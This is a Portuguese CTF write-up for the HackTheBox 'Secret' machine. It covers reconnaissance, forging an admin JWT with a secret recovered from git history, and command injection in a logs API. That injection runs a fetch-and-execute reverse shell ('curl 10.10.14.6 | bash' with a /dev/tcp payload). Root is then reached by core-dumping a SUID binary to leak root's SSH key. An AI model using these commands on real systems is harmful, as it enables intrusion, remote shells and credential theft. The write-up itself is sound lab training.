> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Relato do HackTheBox Secret {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Análise de Código * Abusando de uma API * Tokens Web JSON (JWT) * Abusando/Explorando Core Dump (Escalada de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.
**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.
**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Análise de portas abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80,22,3000)
Varredura de versões de portas com Nmap: Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:
> **Observação**: O mesmo site está acessível nas portas 80 e 3000.
**Busca de diretórios:** Usamos o Gobuster para procurar diretórios no site: ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Registrar um usuário da API Na seção "docs", encontramos instruções para registrar um usuário. Exemplo para o usuário “jordan”:
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## API de Autenticação Para se conectar: ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` Isso nos retorna um token de autenticação (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Verificando o corpo JSON padrão
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Verificação da vulnerabilidade [Token Web JSON](/pt-br/web-vulnerabilities/json-web-token-jwt-attack.md) Use um site para decodificar o JWT e ler e manipular seu conteúdo. > **Nota**: O token JWT deveria ser inválido. Ao modificar os campos "name" e "email" para os de um administrador: {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Tentando acessar uma API privada: Tentando se conectar a uma API privada usando o JWT modificado: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} Recebemos uma mensagem de "token inválido".
Com nosso próprio JWT, temos acesso como um usuário normal: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6TMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} Recebemos a mensagem "Você é um usuário normal".
## Enumeração de rotas da API com Wfuzz Use o Wfuzz para explorar as rotas disponíveis: {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} Nova descoberta: a `/api/logs` rota.
## Análise do código-fonte A página web fornece uma opção para baixar o código-fonte.
> **Descobertas** : * Um `.env` arquivo contendo um `token_secret` com o valor "secret".
Um `.git` pasta com um commit indicando a exclusão do arquivo `.env`.
O arquivo antigo excluído `token_secret` é encontrado: `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Use este antigo `token_secret` para assinar um JWT com informações de administrador e acessar a API privada: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Resultado**: Mensagem de boas-vindas como administrador: "welcome back admin".
Por fim, ao executar a `/api/logs` rota, o seguinte conteúdo é exibido: ```json "cmd": "git log --oneline undefined" ```
Ao examinar o `privitate.js` arquivo e analisar o código, vemos que:
## Vulnerabilidade RCE: {% hint style="info" %} Este código tem um problema de segurança devido à injeção de comandos. Porque `arquivo` vem dos parâmetros da consulta e é inserido diretamente no comando do terminal, um usuário malicioso poderia modificar `arquivo` para executar outros comandos. A função desta rota é executar o `git log --oneline [file]` comando no sistema, onde `[file]` é um arquivo específico solicitado no parâmetro de consulta da requisição. {% endhint %} Aqui está um exemplo `curl` de comando que tenta injetar `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### Vamos executar uma shell reversa: 1. Crie um `index.html` arquivo em nossa máquina e criar um servidor web com o seguinte conteúdo: ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. Em seguida, escute na porta 4444: ```bash nc -nlvp 4444 ``` Execute uma injeção com `curl` em nosso servidor web: {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Flag user.txt :)
**Manipulação do terminal:**/ Depois de ter acesso ao servidor Linux, aqui estão os comandos para executar um processamento eficiente no terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabilize a shell para um trabalho mais confortável. ## Escalada de Privilégios (SUID) Com o seguinte comando, verificamos se nosso usuário **tem privilégios SUID**: ```bash find / -perm -4000 2>/dev/null ``` Encontramos um arquivo incomum localizado em `/opt/count`, cujo proprietário é `root`.
Ao executar este binário, ele nos pede para fornecer um arquivo e então lista o número total de caracteres, palavras e linhas. Este script lerá o conteúdo do arquivo e depois exibirá suas propriedades.
### Binário de Core Dump Ao examinar o código-fonte, podemos observar que um core dump é gerado, armazenando temporariamente o conteúdo em caso de erro.
Os erros são salvos no `/var/crash` diretório. Veja como criar um core dump: 1. **Digite o nome do arquivo ou diretório:** ```bash Digite o nome do arquivo/diretório de origem: /root/.ssh/id_rsa ``` *(chave SSH do root)* 2. **Salvar resultados em um arquivo?** ```` ```css Salvar resultados em um arquivo? [y/N]: ^Z ``` ```` *(Colocar em segundo plano)* 3. **Obtenha o PID:** ```` ```bash ps ``` _(Copiar o PID)_ ```` 4\. **Matar o processo:** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Execute o binário novamente:** ```` ```bash fg ``` ```` 6\. **Verifique o diretório de core dumps:** ```` ```bash ls -l /var/crash ``` ```` *(Um novo arquivo aparece: `_opt_count.1000.crash`)*
Agora temos um core dump em base64 contendo a chave SSH do root.
### Apport-unpack Para extrair as informações, usaremos `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` Em seguida, listaremos o conteúdo do arquivo em `/tmp/ssh/coredump` usando `strings`:
Encontramos a chave SSH do root
### Conexão SSH Assim que tivermos criado o `id_rsa` arquivo com permissões 600, podemos nos conectar via SSH: ```bash ssh root@10.10.11.120 -i id_rsa ```
### Flag root :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.